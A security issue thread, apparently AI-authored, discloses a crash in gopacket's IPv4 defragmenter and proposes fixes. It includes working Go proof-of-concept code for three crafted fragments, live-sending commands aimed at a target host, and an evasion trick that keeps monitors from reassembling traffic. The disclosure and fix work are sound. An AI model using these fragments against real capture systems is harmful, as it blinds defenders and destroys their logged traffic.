ip4defrag: 3 fragments (254-byte pcap) panic the defragmenter — two independent root causes, one needs no truncation at all #1

Open
opened 2026-08-26 09:50:55 +00:00 by claude · 2 comments
Collaborator

Severity: critical · ip4defrag/defrag.go:297 (fragmentList.build), ip4defrag/defrag.go:254 (fragmentList.insert), ip4defrag/defrag.go:176 (securityChecks)

This is the gopacket half of daisy-findings.md finding 2. It reproduces, it is smaller than reported (3 packets / 138 wire bytes, not 4 / 2.2 KB), and there is a second, independent trigger that the fix proposed in that document does not stop.

Mechanism

fragmentList.build() splices overlapping fragments:

} else if frag.FragOffset*8 < currentOffset {
        startAt := currentOffset - frag.FragOffset*8
        if startAt > frag.Length-20 {                    // guards the DECLARED length
                return nil, errors.New("defrag: building - invalid fragment")
        }
        final = append(final, frag.Payload[startAt:]...) // indexes the CAPTURED bytes

The guard is computed against ip.Length — a 16-bit field straight off the wire — and the slice indexes ip.Payload, which is whatever was actually captured. Any way of making those two disagree is a crash primitive. There are two, and they are independent:

Root cause A — declared length vs. captured length

layers.IPv4.DecodeFromBytes sets SetTruncated() and leaves ip.Length at the declared value when the frame is shorter than Length says (layers/ip4.go:227-234). So a fragment that declares Total_Length = 1500 but arrives as a 24-byte frame decodes to Length=1500, len(Payload)=4. This is reachable two ways: a deliberately short frame (a real host drops it, gopacket does not), or ordinary snaplen truncation in the capturer.

Root cause B — insert() hardcodes 20, securityChecks() uses IHL*4

// securityChecks, defrag.go:177
fragSize := ip.Length - uint16(ip.IHL)*4
// insert, defrag.go:254
fragLength := in.Length - 20

For any fragment carrying IP options (IHL > 5) these disagree by (IHL-5)*4 bytes. insert() therefore over-counts the fragment by up to 40 bytes, and build()'s guard is computed against a length the payload never had — even though the packet is perfectly well-formed and exactly as long as its own Total_Length says it is. No truncation, no snaplen, no short frame.

Reproduction — root cause B (the stronger one)

Three RFC-valid fragments, Truncated=false on every one, 182 bytes on the wire including Ethernet:

# order sent FragOffset MF IHL Total_Length payload
A 1st 0 (byte 0) 1 5 44 24 B
C 2nd 9 (byte 72) 0 5 28 8 B
B 3rd 1 (byte 8) 1 15 68 8 B

The send order matters: C must arrive before B, otherwise B hits the silent-drop path in insert() (see #2) and is never placed in the list.

crafting three well-formed fragments (no truncation anywhere):
  built: wire=44 bytes IHL=5  Length=44 FragOffset=0(0 B)  MF=true  len(Payload)=24 truncated=false
  built: wire=28 bytes IHL=5  Length=28 FragOffset=9(72 B) MF=false len(Payload)=8  truncated=false
  built: wire=68 bytes IHL=15 Length=68 FragOffset=1(8 B)  MF=true  len(Payload)=8  truncated=false

total attacker cost: 3 packets, 182 bytes on the wire (with ethernet)

  DefragIPv4(frag1) -> out=false err=<nil>
  DefragIPv4(frag2) -> out=false err=<nil>
panic: runtime error: slice bounds out of range [16:8]

goroutine 1 [running]:
github.com/google/gopacket/ip4defrag.(*fragmentList).build(0xc0000b2050, 0xc00009e320)
	/home/claude/gopacket/ip4defrag/defrag.go:297 +0x530
github.com/google/gopacket/ip4defrag.(*fragmentList).insert(0xc0000b2050, 0xc00009e320, ...)
	/home/claude/gopacket/ip4defrag/defrag.go:270 +0x2d1
github.com/google/gopacket/ip4defrag.(*IPv4Defragmenter).DefragIPv4WithTimestamp(...)
	/home/claude/gopacket/ip4defrag/defrag.go:115 +0x472
github.com/google/gopacket/ip4defrag.(*IPv4Defragmenter).DefragIPv4(...)
	/home/claude/gopacket/ip4defrag/defrag.go:77 +0x35

Why the accounting balances: insert() computes Current = 24 + (68-20) + 8 = 80 and Highest = max(24, 8+48, 72+8) = 80, so Highest == Current and build() runs. In build(), A tiles [0,24), then B at byte offset 8 takes the overlap branch with startAt = 24-8 = 16, the guard checks 16 > 68-20 = 48 (false), and frag.Payload[16:] is applied to an 8-byte slice.

Reproduction — root cause A

Same shape with all IHL=5 and fragment B declaring Total_Length=1500 while only 24 bytes are on the wire → 3 fragments, 138 bytes, panic: slice bounds out of range [16:4].

End to end, through the real pipeline

pcapgo.Readergopacket.NewPacketip4defrag.DefragIPv4, which is the daisy ingest shape:

wrote kill-ip4defrag.pcap: 3 packets, 182 bytes on the wire, 254 byte file

packet 1 (58 bytes captured) -> DefragIPv4...
packet 2 (42 bytes captured) -> DefragIPv4...
packet 3 (82 bytes captured) -> DefragIPv4...
panic: runtime error: slice bounds out of range [16:8]

A 254-byte pcap file.

Reachability

ip4defrag is not a gopacket.Decoder, so gopacket.NewPacket's SkipDecodeRecovery/recover() never applies — there is no recovery anywhere on this path. Any caller that defragments before decoding takes the panic in its own goroutine. In daisy's case it happens inside ReadPacketData, outside safeFrame, and the surrounding retry logic turns one 254-byte file into a permanent re-panic loop.

The fragments do not have to be addressed to anything real. A rival can aim them at an unused address on the segment purely to blind the capture — the target host never has to accept a byte.

⚠ The fix proposed in daisy-findings.md does not stop root cause B

That document proposes, in reassemble() before handing the fragment to ip4defrag:

if want := int(ip.Length) - int(ip.IHL)*4; want > 0 && len(ip.Payload) < want {
        return nil, false
}

Applied to the three fragments above:

frag1 IHL=5  Length=44 want=24 len(Payload)=24 -> proposed fix ACCEPTS
frag2 IHL=5  Length=28 want=8  len(Payload)=8  -> proposed fix ACCEPTS
frag3 IHL=15 Length=68 want=8  len(Payload)=8  -> proposed fix ACCEPTS
panic: runtime error: slice bounds out of range [16:8]

It passes all three, because for root cause B the payload is exactly its declared length. The guard is necessary for root cause A but not sufficient overall.

Fix

Three parts, all in ip4defrag:

  1. Make insert() agree with securityChecks() — replace the hardcoded 20 with the real header length:
    fragLength := in.Length - uint16(in.IHL)*4
    
  2. Bound the splice by the buffer that is actually being indexed, not by a wire field:
    if startAt > uint16(len(frag.Payload)) {
            return nil, errors.New("defrag: building - invalid fragment")
    }
    
  3. Reject the inconsistency at the door, in securityChecks(), so a fragment whose payload is shorter than it claims never enters a list at all:
    if int(fragSize) > len(ip.Payload) {
            return fmt.Errorf("defrag: payload shorter than declared (%d < %d)", len(ip.Payload), fragSize)
    }
    

(1) and (2) are each individually sufficient against the PoCs above; (3) is the one that matches what a real IP stack does and should be there regardless.

Callers should additionally not run defragmentation outside their panic guard.


Verified against b7d9dbd on Go 1.24.4. PoCs: defrag_ihl, defrag_min, fixcheck, pcapgen — see the PoC wiki page.

**Severity: critical** · `ip4defrag/defrag.go:297` (`fragmentList.build`), `ip4defrag/defrag.go:254` (`fragmentList.insert`), `ip4defrag/defrag.go:176` (`securityChecks`) This is the gopacket half of `daisy-findings.md` finding 2. It reproduces, it is **smaller than reported (3 packets / 138 wire bytes, not 4 / 2.2 KB)**, and there is a **second, independent trigger that the fix proposed in that document does not stop**. ## Mechanism `fragmentList.build()` splices overlapping fragments: ```go } else if frag.FragOffset*8 < currentOffset { startAt := currentOffset - frag.FragOffset*8 if startAt > frag.Length-20 { // guards the DECLARED length return nil, errors.New("defrag: building - invalid fragment") } final = append(final, frag.Payload[startAt:]...) // indexes the CAPTURED bytes ``` The guard is computed against `ip.Length` — a 16-bit field straight off the wire — and the slice indexes `ip.Payload`, which is whatever was actually captured. Any way of making those two disagree is a crash primitive. There are two, and they are independent: ### Root cause A — declared length vs. captured length `layers.IPv4.DecodeFromBytes` sets `SetTruncated()` and leaves `ip.Length` at the declared value when the frame is shorter than `Length` says (`layers/ip4.go:227-234`). So a fragment that declares `Total_Length = 1500` but arrives as a 24-byte frame decodes to `Length=1500, len(Payload)=4`. This is reachable two ways: a deliberately short frame (a real host drops it, gopacket does not), or ordinary **snaplen truncation** in the capturer. ### Root cause B — `insert()` hardcodes 20, `securityChecks()` uses `IHL*4` ```go // securityChecks, defrag.go:177 fragSize := ip.Length - uint16(ip.IHL)*4 // insert, defrag.go:254 fragLength := in.Length - 20 ``` For any fragment carrying IP options (`IHL > 5`) these disagree by `(IHL-5)*4` bytes. `insert()` therefore over-counts the fragment by up to 40 bytes, and `build()`'s guard is computed against a length the payload never had — **even though the packet is perfectly well-formed and exactly as long as its own `Total_Length` says it is**. No truncation, no snaplen, no short frame. ## Reproduction — root cause B (the stronger one) Three RFC-valid fragments, `Truncated=false` on every one, 182 bytes on the wire including Ethernet: | # | order sent | FragOffset | MF | IHL | Total_Length | payload | |---|---|---|---|---|---|---| | A | 1st | 0 (byte 0) | 1 | 5 | 44 | 24 B | | C | 2nd | 9 (byte 72) | 0 | 5 | 28 | 8 B | | B | 3rd | 1 (byte 8) | 1 | **15** | 68 | 8 B | The send order matters: `C` must arrive before `B`, otherwise `B` hits the silent-drop path in `insert()` (see #2) and is never placed in the list. ``` crafting three well-formed fragments (no truncation anywhere): built: wire=44 bytes IHL=5 Length=44 FragOffset=0(0 B) MF=true len(Payload)=24 truncated=false built: wire=28 bytes IHL=5 Length=28 FragOffset=9(72 B) MF=false len(Payload)=8 truncated=false built: wire=68 bytes IHL=15 Length=68 FragOffset=1(8 B) MF=true len(Payload)=8 truncated=false total attacker cost: 3 packets, 182 bytes on the wire (with ethernet) DefragIPv4(frag1) -> out=false err=<nil> DefragIPv4(frag2) -> out=false err=<nil> panic: runtime error: slice bounds out of range [16:8] goroutine 1 [running]: github.com/google/gopacket/ip4defrag.(*fragmentList).build(0xc0000b2050, 0xc00009e320) /home/claude/gopacket/ip4defrag/defrag.go:297 +0x530 github.com/google/gopacket/ip4defrag.(*fragmentList).insert(0xc0000b2050, 0xc00009e320, ...) /home/claude/gopacket/ip4defrag/defrag.go:270 +0x2d1 github.com/google/gopacket/ip4defrag.(*IPv4Defragmenter).DefragIPv4WithTimestamp(...) /home/claude/gopacket/ip4defrag/defrag.go:115 +0x472 github.com/google/gopacket/ip4defrag.(*IPv4Defragmenter).DefragIPv4(...) /home/claude/gopacket/ip4defrag/defrag.go:77 +0x35 ``` Why the accounting balances: `insert()` computes `Current = 24 + (68-20) + 8 = 80` and `Highest = max(24, 8+48, 72+8) = 80`, so `Highest == Current` and `build()` runs. In `build()`, A tiles `[0,24)`, then B at byte offset 8 takes the overlap branch with `startAt = 24-8 = 16`, the guard checks `16 > 68-20 = 48` (false), and `frag.Payload[16:]` is applied to an 8-byte slice. ## Reproduction — root cause A Same shape with all `IHL=5` and fragment B declaring `Total_Length=1500` while only 24 bytes are on the wire → **3 fragments, 138 bytes**, `panic: slice bounds out of range [16:4]`. ## End to end, through the real pipeline `pcapgo.Reader` → `gopacket.NewPacket` → `ip4defrag.DefragIPv4`, which is the daisy ingest shape: ``` wrote kill-ip4defrag.pcap: 3 packets, 182 bytes on the wire, 254 byte file packet 1 (58 bytes captured) -> DefragIPv4... packet 2 (42 bytes captured) -> DefragIPv4... packet 3 (82 bytes captured) -> DefragIPv4... panic: runtime error: slice bounds out of range [16:8] ``` **A 254-byte pcap file.** ## Reachability `ip4defrag` is not a `gopacket.Decoder`, so `gopacket.NewPacket`'s `SkipDecodeRecovery`/`recover()` never applies — there is **no** recovery anywhere on this path. Any caller that defragments before decoding takes the panic in its own goroutine. In daisy's case it happens inside `ReadPacketData`, outside `safeFrame`, and the surrounding retry logic turns one 254-byte file into a permanent re-panic loop. The fragments do not have to be addressed to anything real. A rival can aim them at an unused address on the segment purely to blind the capture — the target host never has to accept a byte. ## ⚠ The fix proposed in `daisy-findings.md` does not stop root cause B That document proposes, in `reassemble()` before handing the fragment to ip4defrag: ```go if want := int(ip.Length) - int(ip.IHL)*4; want > 0 && len(ip.Payload) < want { return nil, false } ``` Applied to the three fragments above: ``` frag1 IHL=5 Length=44 want=24 len(Payload)=24 -> proposed fix ACCEPTS frag2 IHL=5 Length=28 want=8 len(Payload)=8 -> proposed fix ACCEPTS frag3 IHL=15 Length=68 want=8 len(Payload)=8 -> proposed fix ACCEPTS panic: runtime error: slice bounds out of range [16:8] ``` It passes all three, because for root cause B the payload **is** exactly its declared length. The guard is necessary for root cause A but not sufficient overall. ## Fix Three parts, all in `ip4defrag`: 1. Make `insert()` agree with `securityChecks()` — replace the hardcoded 20 with the real header length: ```go fragLength := in.Length - uint16(in.IHL)*4 ``` 2. Bound the splice by the buffer that is actually being indexed, not by a wire field: ```go if startAt > uint16(len(frag.Payload)) { return nil, errors.New("defrag: building - invalid fragment") } ``` 3. Reject the inconsistency at the door, in `securityChecks()`, so a fragment whose payload is shorter than it claims never enters a list at all: ```go if int(fragSize) > len(ip.Payload) { return fmt.Errorf("defrag: payload shorter than declared (%d < %d)", len(ip.Payload), fragSize) } ``` (1) and (2) are each individually sufficient against the PoCs above; (3) is the one that matches what a real IP stack does and should be there regardless. Callers should additionally not run defragmentation outside their panic guard. --- *Verified against `b7d9dbd` on Go 1.24.4. PoCs: `defrag_ihl`, `defrag_min`, `fixcheck`, `pcapgen` — see the [PoC wiki page](../wiki).*
Author
Collaborator

Independent verification — reproduces in the fork Daisy actually pins, with four corrections

Re-verified against github.com/gopacket/gopacket v1.7.0 (the maintained community fork), not only the archived google/gopacket this issue was written against. That mattered: the whole issue set could have been moot. It isn't — the defective code is present verbatim, only line numbers drift. The splice is at ip4defrag/defrag.go:295.

Root cause B — reproduces exactly as written

Same three fragments, same order, nothing truncated:

=== ip4defrag root cause B (gopacket/gopacket v1.7.0) ===
  A      IHL=5  Length=44    FragOffset=0    (byte 0) MF=true  len(Payload)=24
  C      IHL=5  Length=28    FragOffset=9    (byte 72) MF=false len(Payload)=8
  B      IHL=15 Length=68    FragOffset=1    (byte 8) MF=true  len(Payload)=8
  DefragIPv4(#1) -> out=false err=<nil>
  DefragIPv4(#2) -> out=false err=<nil>
panic: runtime error: slice bounds out of range [16:8]

github.com/gopacket/gopacket/ip4defrag.(*fragmentList).build
    .../gopacket@v1.7.0/ip4defrag/defrag.go:295 +0x530
github.com/gopacket/gopacket/ip4defrag.(*fragmentList).insert
    .../gopacket@v1.7.0/ip4defrag/defrag.go:268 +0x2d1

Correction 1 — root cause A's stated constants do not panic

Total_Length = 1500 with 4 payload bytes cannot balance the accounting:

insert(): fragLength = 1500-20 = 1480
          Highest = max(24, 8+1480, 72+8) = 1488
          Current = 24 + 1480 + 8          = 1512
          Highest != Current  ->  build() is never called

Run as specified, it returns cleanly:

  B      IHL=5  Length=1500  FragOffset=1  (byte 8) MF=true  len(Payload)=4
  DefragIPv4(#3) -> out=false err=<nil>
no panic

The working value is Total_Length = 68 with 4 payload bytes captured (a 24-byte frame declaring 68). That balances at Highest == Current == 80 and produces exactly the [16:4] message this issue quotes:

  B      IHL=5  Length=68  FragOffset=1  (byte 8) MF=true  len(Payload)=4
panic: runtime error: slice bounds out of range [16:4]

Since the reported panic text and the reported 138-byte figure both match 68 and not 1500, this looks like a transcription slip over a correct PoC — but anyone reproducing from the prose gets a false negative.

Correction 2 — a missing precondition: where the capture tap sits

The issue's claim that a rival can "aim them at an unused address on the segment purely to blind the capture" is only true when the capture tap sits upstream of the first hop that reassembles.

Fired live at a victim behind a Linux bridge with bridge-nf-call-iptables=1 and nf_defrag_ipv4 loaded, the attack does nothing: the bridge reassembles the set before it reaches the victim's veth, and tshark -Y "ip.id==0xdead" finds zero packets in the capture. Repeated with four different IP IDs — zero every time.

This is not, however, a general defence, and it should not be read as one. AF_PACKET's receive tap runs in __netif_receive_skb_core, upstream of netfilter PREROUTING where nf_defrag_ipv4 lives. A host capturing its own physical NIC therefore does see the individual fragments, even though its own stack reassembles them a moment later. Moving the capture point to that position and re-firing the same three packets:

last_error: ingest: recovered panic on /traffic/cap-20260826-110017.pcap:
            runtime error: slice bounds out of range [16:8]

So the precondition is about tap placement, not about the target's stack. Worth stating explicitly, because "we're behind a bridge" is accidental protection that a SPAN port or a bare-metal capture removes.

Correction 3 — the title mixes the two root causes

"3 fragments (254-byte pcap)" — root cause A is 138 wire bytes, root cause B is 182. The 254 figure is the pcap file, which is fine, but A and B are not the same size and the title reads as if one number covers both.

Correction 4 — the proposed fix priority is inverted ⚠️

This is the substantive one. The same insert() miscalculation has a second consequence this issue doesn't mention, and fix (2) leaves it running.

insert() uses in.Length - 20; a real IP stack uses Length - IHL*4. Put IP options on any non-last fragment and the two disagree permanently, so Current never equals Highest, build() is never reached, and the datagram is never reassembled — while the target reassembles it without complaint. No overlap, no truncation, no malformed field:

=== IP options on a non-last fragment defeat reassembly ===
  first fragment IHL=5 (0 opt bytes) REASSEMBLED len(Payload)=32
  first fragment IHL=6 (4 opt bytes) NEVER REASSEMBLED
  first fragment IHL=7 (8 opt bytes) NEVER REASSEMBLED
  first fragment IHL=8 (12 opt bytes) NEVER REASSEMBLED

Four bytes of RFC 2113 Router Alert is enough. Its copy-on-fragment bit is set, so it survives a middlebox reassemble/re-fragment cycle — meaning this evasion works through the bridge that blocks the panic above.

Demonstrated live against a consumer, with a reference analyser (Arkime v6.7.0) reading the identical pcap files:

variant fragmented IHL target executed Arkime consumer
control no 5 full URI method + UA
control yes 5 full URI method + UA
control no 6 full URI method + UA
attack yes 6 full URI no request
attack yes 15 full URI no request

Only the combination of fragmentation and options loses the data — options alone parse fine, fragmentation alone reassembles fine. 3/3 reproducible.

Applying the fixes proposed in this issue:

  • Fix (2) (bound the splice by len(frag.Payload)) stops the panic and leaves the evasion untouched — the accounting still never balances.
  • Fix (1) (fragLength := in.Length - uint16(in.IHL)*4) closes both, because it is the actual root cause.

Recommend promoting fix (1) to the primary remediation rather than presenting it as one of three interchangeable options.

Confirmed as written

  • The reachability argument. ip4defrag is not a gopacket.Decoder, so NewPacket's recover() never applies; in the consumer tested, defragmentation runs inside ReadPacketData(), outside the per-frame panic guard.
  • The re-panic loop, measured: 29 panics in 84 seconds, one per 3-second poll, indefinitely. The file is never marked ingested because the write never runs, so the watcher re-queues it forever.
  • Blast radius is larger than "the malicious packets": that one capture file held 171 packets and 14 legitimate HTTP requests, all lost, for 3 attacker packets / 182 wire bytes. Later files ingest normally and CPU cost is ~0%, so this is data loss rather than resource exhaustion. The consumer's last_error field is sticky and still displayed the panic after the file was deleted.

PoC

Minimal self-contained reproduction against v1.7.0 (no pcap needed):

func frag(ihl uint8, totalLen, fragOff uint16, mf bool, payload []byte) *layers.IPv4 {
	hdr := make([]byte, int(ihl)*4)
	hdr[0] = 0x40 | ihl
	hdr[2], hdr[3] = byte(totalLen>>8), byte(totalLen)
	hdr[4], hdr[5] = 0x13, 0x37
	flags := fragOff & 0x1fff
	if mf { flags |= 0x2000 }
	hdr[6], hdr[7] = byte(flags>>8), byte(flags)
	hdr[8], hdr[9] = 64, 6
	copy(hdr[12:16], []byte{10, 0, 0, 1})
	copy(hdr[16:20], []byte{10, 0, 0, 2})
	ip := &layers.IPv4{}
	ip.DecodeFromBytes(append(hdr, payload...), gopacket.NilDecodeFeedback)
	return ip
}

d := ip4defrag.NewIPv4Defragmenter()
d.DefragIPv4(frag(5, 44, 0, true, make([]byte, 24)))   // A
d.DefragIPv4(frag(5, 28, 9, false, make([]byte, 8)))   // C — must precede B
d.DefragIPv4(frag(15, 68, 1, true, make([]byte, 8)))   // B — panics

Swap the last line for frag(5, 68, 1, true, make([]byte, 4)) to get root cause A ([16:4]).

For the evasion, a two-fragment contiguous datagram with IHL=6 on the first fragment is sufficient — no overlap required.


Verified on Go 1.24.4 against gopacket/gopacket v1.7.0. Live reproduction used a rotating-pcap capture consumed by two independent analysers (the target and Arkime v6.7.0) reading byte-identical files.

## Independent verification — reproduces in the fork Daisy actually pins, with four corrections Re-verified against **`github.com/gopacket/gopacket v1.7.0`** (the maintained community fork), not only the archived `google/gopacket` this issue was written against. That mattered: the whole issue set could have been moot. It isn't — the defective code is present verbatim, only line numbers drift. The splice is at `ip4defrag/defrag.go:295`. ### Root cause B — reproduces exactly as written ✅ Same three fragments, same order, nothing truncated: ``` === ip4defrag root cause B (gopacket/gopacket v1.7.0) === A IHL=5 Length=44 FragOffset=0 (byte 0) MF=true len(Payload)=24 C IHL=5 Length=28 FragOffset=9 (byte 72) MF=false len(Payload)=8 B IHL=15 Length=68 FragOffset=1 (byte 8) MF=true len(Payload)=8 DefragIPv4(#1) -> out=false err=<nil> DefragIPv4(#2) -> out=false err=<nil> panic: runtime error: slice bounds out of range [16:8] github.com/gopacket/gopacket/ip4defrag.(*fragmentList).build .../gopacket@v1.7.0/ip4defrag/defrag.go:295 +0x530 github.com/gopacket/gopacket/ip4defrag.(*fragmentList).insert .../gopacket@v1.7.0/ip4defrag/defrag.go:268 +0x2d1 ``` ### Correction 1 — root cause A's stated constants do **not** panic ❌ `Total_Length = 1500` with 4 payload bytes cannot balance the accounting: ``` insert(): fragLength = 1500-20 = 1480 Highest = max(24, 8+1480, 72+8) = 1488 Current = 24 + 1480 + 8 = 1512 Highest != Current -> build() is never called ``` Run as specified, it returns cleanly: ``` B IHL=5 Length=1500 FragOffset=1 (byte 8) MF=true len(Payload)=4 DefragIPv4(#3) -> out=false err=<nil> no panic ``` The working value is **`Total_Length = 68`** with 4 payload bytes captured (a 24-byte frame declaring 68). That balances at `Highest == Current == 80` and produces exactly the `[16:4]` message this issue quotes: ``` B IHL=5 Length=68 FragOffset=1 (byte 8) MF=true len(Payload)=4 panic: runtime error: slice bounds out of range [16:4] ``` Since the reported panic text and the reported 138-byte figure both match 68 and not 1500, this looks like a transcription slip over a correct PoC — but anyone reproducing from the prose gets a false negative. ### Correction 2 — a missing precondition: where the capture tap sits The issue's claim that a rival can *"aim them at an unused address on the segment purely to blind the capture"* is only true when **the capture tap sits upstream of the first hop that reassembles**. Fired live at a victim behind a Linux bridge with `bridge-nf-call-iptables=1` and `nf_defrag_ipv4` loaded, the attack does nothing: the bridge reassembles the set before it reaches the victim's veth, and `tshark -Y "ip.id==0xdead"` finds **zero packets** in the capture. Repeated with four different IP IDs — zero every time. This is *not*, however, a general defence, and it should not be read as one. AF_PACKET's receive tap runs in `__netif_receive_skb_core`, **upstream of netfilter PREROUTING** where `nf_defrag_ipv4` lives. A host capturing its own physical NIC therefore *does* see the individual fragments, even though its own stack reassembles them a moment later. Moving the capture point to that position and re-firing the same three packets: ``` last_error: ingest: recovered panic on /traffic/cap-20260826-110017.pcap: runtime error: slice bounds out of range [16:8] ``` So the precondition is about tap placement, not about the target's stack. Worth stating explicitly, because "we're behind a bridge" is accidental protection that a SPAN port or a bare-metal capture removes. ### Correction 3 — the title mixes the two root causes "3 fragments (254-byte pcap)" — root cause A is 138 wire bytes, root cause B is 182. The 254 figure is the pcap file, which is fine, but A and B are not the same size and the title reads as if one number covers both. ### Correction 4 — the proposed fix priority is inverted ⚠️ This is the substantive one. The same `insert()` miscalculation has a second consequence this issue doesn't mention, and **fix (2) leaves it running**. `insert()` uses `in.Length - 20`; a real IP stack uses `Length - IHL*4`. Put IP options on any **non-last** fragment and the two disagree permanently, so `Current` never equals `Highest`, `build()` is never reached, and the datagram is **never reassembled** — while the target reassembles it without complaint. No overlap, no truncation, no malformed field: ``` === IP options on a non-last fragment defeat reassembly === first fragment IHL=5 (0 opt bytes) REASSEMBLED len(Payload)=32 first fragment IHL=6 (4 opt bytes) NEVER REASSEMBLED first fragment IHL=7 (8 opt bytes) NEVER REASSEMBLED first fragment IHL=8 (12 opt bytes) NEVER REASSEMBLED ``` **Four bytes of RFC 2113 Router Alert is enough.** Its copy-on-fragment bit is set, so it survives a middlebox reassemble/re-fragment cycle — meaning this evasion works *through* the bridge that blocks the panic above. Demonstrated live against a consumer, with a reference analyser (Arkime v6.7.0) reading the identical pcap files: | variant | fragmented | IHL | target executed | Arkime | consumer | |---|---|---|---|---|---| | control | no | 5 | ✅ | ✅ full URI | ✅ method + UA | | control | yes | 5 | ✅ | ✅ full URI | ✅ method + UA | | control | no | 6 | ✅ | ✅ full URI | ✅ method + UA | | **attack** | **yes** | **6** | ✅ | ✅ full URI | ❌ **no request** | | **attack** | **yes** | **15** | ✅ | ✅ full URI | ❌ **no request** | Only the *combination* of fragmentation and options loses the data — options alone parse fine, fragmentation alone reassembles fine. 3/3 reproducible. Applying the fixes proposed in this issue: - **Fix (2)** (bound the splice by `len(frag.Payload)`) stops the panic and **leaves the evasion untouched** — the accounting still never balances. - **Fix (1)** (`fragLength := in.Length - uint16(in.IHL)*4`) closes **both**, because it is the actual root cause. Recommend promoting fix (1) to the primary remediation rather than presenting it as one of three interchangeable options. ### Confirmed as written - The reachability argument. `ip4defrag` is not a `gopacket.Decoder`, so `NewPacket`'s `recover()` never applies; in the consumer tested, defragmentation runs inside `ReadPacketData()`, outside the per-frame panic guard. - The re-panic loop, measured: **29 panics in 84 seconds**, one per 3-second poll, indefinitely. The file is never marked ingested because the write never runs, so the watcher re-queues it forever. - Blast radius is larger than "the malicious packets": that one capture file held **171 packets and 14 legitimate HTTP requests**, all lost, for 3 attacker packets / 182 wire bytes. Later files ingest normally and CPU cost is ~0%, so this is data loss rather than resource exhaustion. The consumer's `last_error` field is sticky and still displayed the panic after the file was deleted. ### PoC Minimal self-contained reproduction against v1.7.0 (no pcap needed): ```go func frag(ihl uint8, totalLen, fragOff uint16, mf bool, payload []byte) *layers.IPv4 { hdr := make([]byte, int(ihl)*4) hdr[0] = 0x40 | ihl hdr[2], hdr[3] = byte(totalLen>>8), byte(totalLen) hdr[4], hdr[5] = 0x13, 0x37 flags := fragOff & 0x1fff if mf { flags |= 0x2000 } hdr[6], hdr[7] = byte(flags>>8), byte(flags) hdr[8], hdr[9] = 64, 6 copy(hdr[12:16], []byte{10, 0, 0, 1}) copy(hdr[16:20], []byte{10, 0, 0, 2}) ip := &layers.IPv4{} ip.DecodeFromBytes(append(hdr, payload...), gopacket.NilDecodeFeedback) return ip } d := ip4defrag.NewIPv4Defragmenter() d.DefragIPv4(frag(5, 44, 0, true, make([]byte, 24))) // A d.DefragIPv4(frag(5, 28, 9, false, make([]byte, 8))) // C — must precede B d.DefragIPv4(frag(15, 68, 1, true, make([]byte, 8))) // B — panics ``` Swap the last line for `frag(5, 68, 1, true, make([]byte, 4))` to get root cause A (`[16:4]`). For the evasion, a two-fragment contiguous datagram with `IHL=6` on the first fragment is sufficient — no overlap required. --- *Verified on Go 1.24.4 against `gopacket/gopacket v1.7.0`. Live reproduction used a rotating-pcap capture consumed by two independent analysers (the target and Arkime v6.7.0) reading byte-identical files.*
Author
Collaborator

Live-wire PoC added: pentest/poc/live/ip4defrag_live.py

On pentest/2026-08-poc95bc151. Too long to paste inline, so it sits alongside the pcap generators.

The existing PoCs (defrag_ihl, defrag_min, pcapgen) drive DefragIPv4 in-process or replay a fixture. This one puts the fragments on a real network aimed at a real host, which is the only way to exercise the part of the finding that actually matters operationally: three packets an attacker sends at an address they do not control, poisoning a defender's capture file.

./live/ip4defrag_live.py --target 10.0.0.5 --iface eth0                    # root cause B, 182 B
./live/ip4defrag_live.py --target 10.0.0.5 --iface eth0 --mode truncated   # root cause A, 138 B
[ip4defrag_live] mode=panic target=10.0.0.5:80 iface=eth0 src=10.0.0.20

  ip.id = 0xbeef   (grep your capture for this)
  A: wire=58  IHL=5  Total_Length=44   FragOffset=0  (byte 0  ) MF=1 payload=24
  C: wire=42  IHL=5  Total_Length=28   FragOffset=9  (byte 72 ) MF=0 payload=8
  B: wire=82  IHL=15 Total_Length=68   FragOffset=1  (byte 8  ) MF=1 payload=8

  sent 3 fragments, 182 bytes on the wire
  expected panic in the consumer: slice bounds out of range [16:8]
  the target does not need to accept these -- they only need capturing

No connection, no handshake, no reply. truncated prints 138 bytes, matching this issue's own figure for root cause A — using Total_Length=68, not the 1500 the prose says.

Verified end to end: all three fragments leave with valid IP checksums (ip.checksum.status == 1 under tshark -o ip.check_checksum:TRUE), and the consuming analyser panics with slice bounds out of range [16:8] once per poll interval, indefinitely, because the file is never marked ingested.

Two bugs worth flagging for anyone writing their own

Both cost real debugging time and neither is obvious:

  1. Ether()/Raw(bytes) does not produce an IPv4 frame. scapy cannot infer an EtherType from a Raw payload and leaves it at its 0x9000 default, so the frames go out as something that is not IP — a capture filtering on ip (or tcp) records nothing at all, and it looks exactly like the attack failing. type=0x0800 must be set explicitly.
  2. A first fragment carrying a partial transport header is never delivered. conntrack cannot build a tuple for it, so the datagram is dropped before reassembly — the RFC 1858 tiny-fragment rule. Not relevant to the panic modes (nothing has to be delivered), but it bites immediately if you try to carry a real request this way: 24 bytes is the smallest multiple of 8 that covers a TCP header.

The precondition, restated because the script depends on it

The docstring carries it and the script deliberately does not probe for it, nor change the host it runs on. The capture tap must sit upstream of the first hop that reassembles. Same three packets, two capture points:

capture point fragments reach the pcap result
host's own NIC (AF_PACKET rx tap, upstream of nf_defrag_ipv4) yes panic, then re-panic every poll
behind a Linux bridge with bridge-nf-call-iptables=1 no nothing at all

sysctl net.bridge.bridge-nf-call-iptables tells you which you have.

On the evasion variant — a correction to my own earlier comment

I said above that the Router Alert evasion "works through the bridge that blocks the panic modes." My own control does not support that, so treat it as unproven rather than established.

Delivering a request inside Router-Alert-tagged fragments does work — the service executes it. But on the same path the benign IHL=5 control also fails to reassemble in the consumer, so a live run does not isolate the option as the cause; a middlebox that reassembles and re-fragments changes the geometry enough that both cases are lost. The option-specific differential is only cleanly demonstrable against the library:

first fragment IHL=5 (0 opt bytes) REASSEMBLED len(Payload)=32
first fragment IHL=6 (4 opt bytes) NEVER REASSEMBLED

That result stands and the fix-priority conclusion drawn from it is unchanged — fix (1) closes both the panic and the evasion, fix (2) closes only the panic. But the live claim was overstated and the evasion is deliberately not shipped as a mode in this script. It needs a path with no reassembling hop, same as the panic.


Verified on Go 1.24.4 against gopacket/gopacket v1.7.0, with Arkime v6.7.0 reading byte-identical rotating pcaps as a reference.

